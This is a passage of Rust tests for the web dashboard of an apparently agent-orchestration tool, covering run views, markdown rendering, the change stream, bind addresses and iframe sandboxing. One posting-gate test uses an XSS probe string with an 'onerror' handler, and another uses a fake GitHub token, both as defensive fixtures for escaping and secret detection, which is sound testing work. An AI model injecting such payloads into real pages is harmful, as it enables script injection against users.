16840 assert!(!INDEX_HTML.contains("run-raw-panel"));
16841 assert!(APP_JS.contains("resume"));
16843 assert!(APP_JS.contains("unreadable"));
16845 }
16846
16847 #[test]
16848 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
16849 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
16850 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
16851 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
16852 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
16853 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
16854 assert!(APP_JS.contains("unreadable` : null"));
16856 }
16857
16858 #[test]
16859 fn blocked_run_detail_exposes_the_failed_gate_reason() {
16860 let mut state = RunState::new(
16861 "/repo".into(),
16862 "main".into(),
16863 "abc".into(),
16864 "task".into(),
16865 crate::config::Config::default(),
16866 );
16867 state.status = RunStatus::Blocked;
16868 state.gate_ran = true;
16869 state.gate.push(crate::run::CommandOutcome {
16870 command: "cargo make check".into(),
16871 code: Some(1),
16872 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
16873 duration_ms: 0,
16874 resource_blocked: false,
16875 });
16876 let view = RunDetailView::of(
16877 state,
16878 false,
16879 crate::run::Liveness::Unknown,
16880 None,
16881 None,
16882 None,
16883 );
16884 let value = serde_json::to_value(view).unwrap();
16885 assert_eq!(
16886 value["stop_reason"],
16887 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
16888 );
16889 }
16890
16891 #[test]
16892 fn the_run_detail_payload_says_whether_the_run_is_done() {
16893 for (status, done) in [
16895 (RunStatus::Superseded, true),
16896 (RunStatus::Blocked, true),
16897 (RunStatus::Landing, false),
16898 ] {
16899 let mut state = RunState::new(
16900 std::path::PathBuf::from("/repo"),
16901 "main".to_owned(),
16902 "abc".to_owned(),
16903 "x".to_owned(),
16904 crate::config::Config::default(),
16905 );
16906 state.status = status;
16907 let v = serde_json::to_value(RunDetailView::of(
16908 state,
16909 false,
16910 crate::run::Liveness::Unknown,
16911 None,
16912 None,
16913 None,
16914 ))
16915 .unwrap();
16916 assert_eq!(v["done"], done, "{status:?}");
16917 }
16918 }
16919
16920 fn has_strong(nodes: &[md::Node]) -> bool {
16922 serde_json::to_string(nodes).unwrap().contains("strong")
16923 }
16924
16925 #[test]
16926 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16927 let mut state = RunState::new(
16928 std::path::PathBuf::from("/repo"),
16929 "main".to_owned(),
16930 "abc".to_owned(),
16931 "x".to_owned(),
16932 crate::config::Config::default(),
16933 );
16934 let proposal = |approach: &str| {
16935 serde_json::json!({
16936 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16937 })
16938 };
16939 state.advice = Some(
16940 serde_json::from_value(serde_json::json!({
16941 "records": [
16942 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16943 "proposal": proposal("do **this**")},
16944 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16945 ],
16946 "synthesis": "- one\n- **two**\n\n`code`",
16947 }))
16948 .unwrap(),
16949 );
16950 state.candidates = serde_json::from_value(serde_json::json!([
16951 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16952 "summary": "did **it**"},
16953 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16954 ]))
16955 .unwrap();
16956 state.reviews = serde_json::from_value(serde_json::json!([{
16959 "round": 1, "head": "h",
16960 "reviews": [{
16961 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16962 "findings": [
16963 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16964 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16965 ],
16966 }],
16967 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16968 "fix": {"agent": "a", "notes": "fixed **it**",
16969 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16970 }, {"round": 2, "head": "h2", "reviews": []}]))
16971 .unwrap();
16972
16973 let v = serde_json::to_value(RunDetailView::of(
16974 state,
16975 false,
16976 crate::run::Liveness::Unknown,
16977 None,
16978 None,
16979 None,
16980 ))
16981 .unwrap();
16982
16983 let strong = |p: &str| {
16984 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16985 assert!(n.to_string().contains("strong"), "{p}: {n}");
16986 };
16987 strong("/advice_md/synthesis");
16988 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16989 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16990 strong("/advice_md/approaches/0");
16991 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16992 strong("/candidate_summaries_md/0");
16993 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16994 strong("/reviews_md/0/reviewers/0/summary");
16995 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16996 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16997 assert!(f[1].to_string().contains("strong"));
16998 strong("/reviews_md/0/reconsideration/0");
16999 strong("/reviews_md/0/fix/notes");
17000 strong("/reviews_md/0/fix/rejected/0");
17001 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17002 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17003 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17005 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17006 }
17007
17008 #[test]
17009 fn a_run_without_advice_has_no_advice_md() {
17010 let state = RunState::new(
17011 std::path::PathBuf::from("/repo"),
17012 "main".to_owned(),
17013 "abc".to_owned(),
17014 "x".to_owned(),
17015 crate::config::Config::default(),
17016 );
17017 let p = run_prose_md(&state);
17018 assert!(p.advice_md.is_none());
17019 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17020 }
17021
17022 #[test]
17023 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17024 let store = ask::Questions::at(PathBuf::from("unused"));
17025 let gt = crate::github_text::Withheld {
17026 title: false,
17027 body: true,
17028 categories: vec!["sensitive-data".into()],
17029 };
17030 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17031 let (detail, comparison) =
17032 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17033 let mut q = Question::new(
17034 "r".into(),
17035 "github-text".into(),
17036 "posting-gate".into(),
17037 "s".into(),
17038 detail,
17039 Vec::new(),
17040 );
17041 assert!(
17042 QuestionView::of(q.clone(), &store, false)
17043 .posting_view
17044 .is_none()
17045 );
17046 q.posting_comparison = Some(comparison);
17047 let view = QuestionView::of(q.clone(), &store, false);
17048 let field = &view.posting_view.unwrap().fields[0];
17049 assert_eq!(
17050 field
17051 .original
17052 .iter()
17053 .map(|f| f.text.as_str())
17054 .collect::<String>(),
17055 body
17056 );
17057 assert!(field.original[0].text.starts_with("<img"));
17058 let original_question: Question =
17059 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17060 assert_eq!(original_question, q);
17061 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17062 .original
17063 .start = 1;
17064 assert!(
17065 QuestionView::of(q.clone(), &store, false)
17066 .posting_view
17067 .is_none()
17068 );
17069 q.posting_comparison = original_question.posting_comparison;
17070 q.detail.push_str("extra context");
17071 assert!(
17072 QuestionView::of(q.clone(), &store, false)
17073 .posting_view
17074 .is_some()
17075 );
17076 q.detail.insert(0, 'x');
17077 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
17078 }
17079
17080 #[test]
17081 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17082 let store = ask::Questions::at(PathBuf::from("unused"));
17083 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17084 let gt = crate::github_text::Withheld::from_check(
17085 &crate::github_text::check("fix: x", body),
17086 "fix: x",
17087 body,
17088 )
17089 .unwrap();
17090 let (detail, comparison) =
17091 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17092 let mut q = Question::new(
17093 "r".into(),
17094 "github-text".into(),
17095 "posting-gate".into(),
17096 "s".into(),
17097 detail,
17098 Vec::new(),
17099 );
17100 q.posting_comparison = Some(comparison);
17101 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
17102 let field = &value["posting_view"]["fields"][0];
17103 let group = &field["replacement_group"];
17104 let triggers = group["triggers"].as_array().unwrap();
17105 assert_eq!(triggers.len(), 2);
17106 assert_ne!(triggers[0], triggers[1]);
17107 for id in triggers {
17108 assert!(
17109 field["original"]
17110 .as_array()
17111 .unwrap()
17112 .iter()
17113 .any(|f| &f["pair"] == id)
17114 );
17115 assert!(
17116 !field["changed"]
17117 .as_array()
17118 .unwrap()
17119 .iter()
17120 .any(|f| &f["pair"] == id)
17121 );
17122 }
17123 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17124 group["id"].as_u64().unwrap() as usize;
17125 assert!(
17126 QuestionView::of(q, &store, false).posting_view.is_none(),
17127 "group and trigger IDs cannot collide"
17128 );
17129 }
17130
17131 #[test]
17132 fn a_question_view_carries_markdown_for_each_thread_turn() {
17133 let home = TempDir::new().unwrap();
17134 let store = ask::Questions::at(home.path().join("questions"));
17135 let mut q = Question::new(
17136 "run".to_owned(),
17137 "implement".to_owned(),
17138 "impl-A".to_owned(),
17139 "which?".to_owned(),
17140 String::new(),
17141 Vec::new(),
17142 );
17143 q.say("plain words").unwrap();
17144 q.reply("use **this**", Vec::new()).unwrap();
17145 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
17146 let bodies = &v["thread_bodies_md"];
17147 assert_eq!(bodies.as_array().unwrap().len(), 2);
17148 assert!(!bodies[0].to_string().contains("strong"));
17149 assert!(bodies[1].to_string().contains("strong"));
17150 }
17151
17152 #[test]
17153 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17154 let home = TempDir::new().unwrap();
17155 let store = ask::Questions::at(home.path().join("questions"));
17156 let mut q = Question::new(
17157 "run".to_owned(),
17158 "conduct".to_owned(),
17159 "conduct".to_owned(),
17160 "which?".to_owned(),
17161 String::new(),
17162 Vec::new(),
17163 );
17164 q.say("plain words").unwrap();
17165 q.thread.push(ask::Turn {
17166 who: ask::Who::Agent,
17167 body: "Settled as `merge`".to_owned(),
17168 at: jiff::Timestamp::now(),
17169 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17170 });
17171 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
17172 let notes = &v["thread_notes_md"];
17173 assert_eq!(notes.as_array().unwrap().len(), 2);
17174 assert!(notes[0].is_null());
17175 let text = notes[1].to_string();
17176 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17177 assert!(APP_JS.contains("ask-turn-note"));
17178 }
17179
17180 #[test]
17181 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17182 assert!(APP_JS.contains("function landView(run, raw) {"));
17186 assert!(
17187 APP_JS.contains(
17188 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17189 )
17190 );
17191 assert!(APP_JS.contains("const pr = landView(run, raw);"));
17192 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17193 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17194 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17195 }
17196
17197 #[test]
17198 fn live_runs_are_never_hidden_or_folded_as_superseded() {
17199 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
17200 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17201 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17202 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17203 }
17204
17205 #[test]
17206 fn review_rounds_label_a_distinct_verified_head() {
17207 assert!(APP_JS.contains("round.verified_head"));
17208 assert!(APP_JS.contains("verified HEAD"));
17209 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17210 }
17211
17212 #[test]
17213 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17214 assert!(APP_JS.contains("blocked: { glyph:"));
17218 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17219
17220 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17224 assert!(
17225 APP_JS.contains(
17226 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17227 ),
17228 "the note line must name what a blocked task is waiting on, not just that it is blocked"
17229 );
17230 assert!(APP_JS.contains("if (status === \"blocked\") {"));
17234
17235 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17239 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17240 assert!(
17241 APP_JS.contains("location.hash = \"#/questions\";"),
17242 "a question node must jump to the Questions screen, not pretend to be a task"
17243 );
17244
17245 assert!(APP_JS.contains("Resolved questions"));
17248 assert!(APP_JS.contains("r.answersList.append("));
17249 assert!(APP_CSS.contains(".task-answers"));
17250 {
17251 let start = APP_JS
17252 .find("function updateTalkTaskRow")
17253 .expect("updateTalkTaskRow");
17254 let body = &APP_JS[start..];
17255 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17256 assert!(
17257 body.contains(
17258 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17259 ),
17260 "a chat-filed task row must link to the task page"
17261 );
17262 assert!(
17263 !body.contains("#/runs/") && !body.contains("#/queue/"),
17264 "the row must not branch to a run or the queue card"
17265 );
17266 assert!(APP_CSS.contains(".talk-task-link"));
17267 }
17268 }
17269
17270 #[test]
17271 fn a_task_notification_links_to_the_task_page() {
17272 let start = APP_JS
17274 .find("function noticeLink(")
17275 .expect("noticeLink exists");
17276 let body = &APP_JS[start..];
17277 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17278 assert!(
17279 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17280 "a task notice's link must target the task page"
17281 );
17282 assert!(
17283 !body.contains("#/queue/"),
17284 "regression: the task link must not go back to the Backlog route"
17285 );
17286 assert!(
17287 APP_JS.contains(
17288 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17289 ),
17290 "`#/tasks/<id>` must parse into the task route"
17291 );
17292
17293 assert!(
17295 APP_JS.contains(
17296 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17297 ),
17298 "`#/queue/<id>` must parse into a route carrying that id"
17299 );
17300
17301 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17305 assert!(APP_JS.contains("function consumeQueueFocus()"));
17306 assert!(APP_JS.contains("jumpToTask(id)"));
17307 }
17308
17309 #[test]
17312 fn chat_rows_put_the_title_alone_on_the_first_line() {
17313 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17314 assert!(APP_CSS.contains(
17315 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17316 ));
17317 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17318 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17319 }
17320
17321 #[test]
17322 fn run_rows_put_the_title_alone_on_the_first_line() {
17323 assert!(
17324 APP_CSS.contains(
17325 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17326 )
17327 );
17328 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17329 assert!(APP_JS.contains("class: \"card run-card\""));
17330 assert!(APP_JS.contains("class: \"repo run-id\""));
17331 }
17332
17333 #[test]
17337 fn wide_screens_show_list_and_preview_side_by_side() {
17338 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17340 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17341 assert!(APP_CSS.contains("main[data-split]"));
17342 assert!(APP_CSS.contains("body[data-split]"));
17343
17344 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17346 assert!(
17347 APP_JS.contains(
17348 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17349 )
17350 );
17351 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17352 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17353 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17354
17355 assert!(APP_JS.contains("function markSelected() {"));
17357 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17358 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17359 assert!(
17361 APP_CSS.contains(
17362 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17363 )
17364 );
17365
17366 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17368 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17369 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17370 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17371
17372 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17376 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17377 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17378 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17379
17380 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17382 }
17383
17384 #[test]
17385 fn panel_sandbox_carries_exactly_popups() {
17386 let needle = "sandbox: \"";
17387 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
17388 assert_eq!(
17389 matches.len(),
17390 1,
17391 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
17392 );
17393 let start = matches[0].0 + needle.len();
17394 let end = APP_JS[start..]
17395 .find('"')
17396 .expect("sandbox attribute value must be terminated by a closing quote");
17397 let val = &APP_JS[start..start + end];
17398 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
17399 let expected: std::collections::BTreeSet<&str> =
17400 ["allow-popups", "allow-popups-to-escape-sandbox"]
17401 .into_iter()
17402 .collect();
17403 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
17404 assert!(
17405 !tokens.contains("allow-scripts"),
17406 "allow-scripts must never be present in sandbox"
17407 );
17408 assert!(
17409 !tokens.contains("allow-same-origin"),
17410 "allow-same-origin must never be present in sandbox"
17411 );
17412 }
17413
17414 #[test]
17415 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
17416 assert!(
17425 APP_JS.contains(
17426 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
17427 ),
17428 "the search-clearing branch must run before state.queueFocus is cleared, or the \
17429 recursive renderQueue() call has nothing left to jump to"
17430 );
17431 assert!(
17432 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
17433 "state.queueFocus must be cleared only once the jump has landed, so a card that \
17434 arrives later still gets it"
17435 );
17436 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
17437 assert!(APP_JS.contains("is not in the current Backlog."));
17438 assert!(APP_JS.contains("li.card[data-task-id=\""));
17439 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
17440 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
17441 assert!(APP_CSS.contains(".card-permalink"));
17442 assert!(APP_CSS.contains(".queue-focus-status"));
17443 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
17444 }
17445
17446 #[test]
17447 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
17448 assert!(
17456 APP_JS.contains(
17457 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
17458 ),
17459 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
17460 );
17461 }
17462
17463 #[test]
17464 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
17465 assert!(
17466 APP_JS.contains("round.verified_head !== round.head"),
17467 "a round that verified an earlier commit must be visibly distinct from one that \
17468 verified the head reviewers are looking at now"
17469 );
17470 assert!(
17471 APP_JS.contains("round.verified_at"),
17472 "when a check ran must be on the wire, not just which commit"
17473 );
17474 assert!(
17475 APP_JS.contains("resource_blocked"),
17476 "a command magi never got to run (shared build cache contention) must not render \
17477 the same as a command that ran and failed"
17478 );
17479 }
17480
17481 #[test]
17482 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
17483 assert!(
17491 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
17492 "every KPI tile built through statusTile() must route its click through \
17493 openRunsFiltered, the single place that sets the Runs filter"
17494 );
17495 for (label, status) in [
17496 ("Merged", "merged"),
17497 ("Ready", "ready"),
17498 ("Blocked", "blocked"),
17499 ("Stalled", "stalled"),
17500 ] {
17501 let call = format!("statusTile(\"{label}\", t.{status}, ");
17502 assert!(
17503 APP_JS.contains(&call),
17504 "expected the {label} KPI tile built via {call}..."
17505 );
17506 assert!(
17507 APP_JS.contains(&format!("status === \"{status}\"")),
17508 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
17509 compare a run against, not one invented only for the stats tile"
17510 );
17511 }
17512 assert!(
17513 APP_JS.contains("function openRunsFiltered(status)"),
17514 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
17515 );
17516 assert!(
17517 APP_JS.contains(
17518 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
17519 ),
17520 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
17521 );
17522 assert!(
17530 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
17531 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
17532 hashchange event that may never fire"
17533 );
17534 }
17535
17536 #[test]
17537 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
17538 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
17544 assert!(
17545 APP_JS.contains(
17546 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
17547 ),
17548 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
17549 guard for an incompatible tree section"
17550 );
17551 }
17552
17553 #[test]
17554 fn every_stats_queue_tile_names_a_real_queue_section() {
17555 assert!(
17561 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
17562 "every queue tile built through sectionTile() must route its click through \
17563 openQueueSectionFocus"
17564 );
17565 for key in ["upnext", "running", "done", "held", "blocked"] {
17566 assert!(
17567 APP_JS.contains(&format!("{{ key: \"{key}\",")),
17568 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
17569 );
17570 }
17571 for line in [
17575 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
17576 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
17577 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
17578 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
17579 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
17580 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
17581 ] {
17582 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
17583 }
17584 }
17585
17586 #[test]
17587 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
17588 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
17595 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
17596 assert!(APP_JS.contains("function revealQueueSection(details)"));
17597 assert!(
17598 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
17599 "renderQueue() must consume both focus channels on every pass"
17600 );
17601 assert!(
17602 APP_JS.contains(
17603 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
17604 ),
17605 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
17606 the recursive renderQueue() call has nothing left to reveal"
17607 );
17608 assert!(
17609 APP_JS.contains(
17610 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
17611 ),
17612 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
17613 );
17614 assert!(
17622 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
17623 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
17624 hashchange event that may never fire"
17625 );
17626 }
17627
17628 #[tokio::test]
17629 async fn the_change_stream_announces_the_current_revisions_on_connect() {
17630 let f = Fixture::start().await;
17631
17632 let mut socket = tokio::net::TcpStream::connect(f.addr)
17633 .await
17634 .expect("connect");
17635 socket
17636 .write_all(
17637 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
17638 )
17639 .await
17640 .expect("write request");
17641
17642 let mut seen = String::new();
17645 let mut buf = [0u8; 1024];
17646 while !seen.contains("event: change") {
17647 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
17648 .await
17649 .expect("the stream must speak within five seconds")
17650 .expect("read");
17651 assert!(read > 0, "the server closed the change stream: {seen}");
17652 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
17653 }
17654
17655 assert!(
17656 seen.to_lowercase()
17657 .contains("content-type: text/event-stream"),
17658 "the browser only reconnects automatically for a real SSE stream: {seen}"
17659 );
17660 let data = seen
17661 .lines()
17662 .find_map(|l| l.strip_prefix("data:"))
17663 .expect("a data line");
17664 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
17665 assert!(
17666 payload["queue_rev"].is_u64()
17667 && payload["runs_rev"].is_u64()
17668 && payload["questions_rev"].is_u64()
17669 && payload["talks_rev"].is_u64()
17670 && payload["notifications_rev"].is_u64()
17671 && payload["loop_rev"].is_u64(),
17672 "the client needs one revision per store to know what to refetch, \
17673 and `talks_rev` is the only notification a standing talk gets - a \
17674 phone whose radio slept through a turn learns about it here, as \
17675 does one whose operator started the loop from another device: \
17676 {payload}"
17677 );
17678
17679 let health = f.get("/api/health").await.json();
17686 for key in [
17687 "queue_rev",
17688 "runs_rev",
17689 "questions_rev",
17690 "talks_rev",
17691 "notifications_rev",
17692 "loop_rev",
17693 ] {
17694 assert!(
17695 health[key].is_u64(),
17696 "health is the change stream's fallback and is missing `{key}`: {health}"
17697 );
17698 }
17699 }
17700
17701 #[tokio::test]
17702 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
17703 let f = Fixture::start().await;
17704 let before = f.get("/api/health").await.json()["talks_rev"]
17705 .as_u64()
17706 .expect("talks_rev");
17707
17708 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
17709 std::thread::sleep(Duration::from_millis(10));
17710 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
17711 on_disk.turns.push(crate::talk::Turn {
17712 sender: None,
17713 breaks: Some(Vec::new()),
17714 messages: Vec::new(),
17715 posted_by: None,
17716 who: crate::talk::Who::Operator,
17717 body: "a new turn".to_owned(),
17718 at: Timestamp::now(),
17719 attachments: Vec::new(),
17720 usage: None,
17721 });
17722 f.talks().put(&mut on_disk).expect("record a turn");
17723
17724 let after = f.get("/api/health").await.json()["talks_rev"]
17725 .as_u64()
17726 .expect("talks_rev");
17727 assert_ne!(
17728 before, after,
17729 "a phone must be able to notice a talk's reply without polling every store"
17730 );
17731 }
17732
17733 #[test]
17734 fn bind_reads_back_from_the_spelling_the_cli_prints() {
17735 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
17739 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
17740 }
17741 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
17742 assert!("everywhere".parse::<Bind>().is_err());
17743 }
17744
17745 #[test]
17746 fn an_explicit_bind_address_is_taken_verbatim() {
17747 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
17748
17749 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
17750
17751 assert_eq!(addr, asked);
17752 assert!(
17753 warning.is_none(),
17754 "an operator who named an address gets no lecture"
17755 );
17756 }
17757
17758 #[test]
17759 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
17760 let (addr, warning) = resolve_bind(&Bind::Auto);
17761
17762 match addr {
17769 IpAddr::V4(ip) if is_tailnet(&ip) => {
17770 assert!(warning.is_none(), "a tailnet address needs no warning");
17771 }
17772 other => {
17773 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
17774 let warning = warning.expect("a fallback has to explain itself");
17775 assert!(
17776 warning.contains("127.0.0.1") && warning.contains("local-only"),
17777 "the warning says what happened and what it costs: {warning}"
17778 );
17779 }
17780 }
17781 }
17782
17783 #[test]
17784 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
17785 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
17789 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
17790 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
17791 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
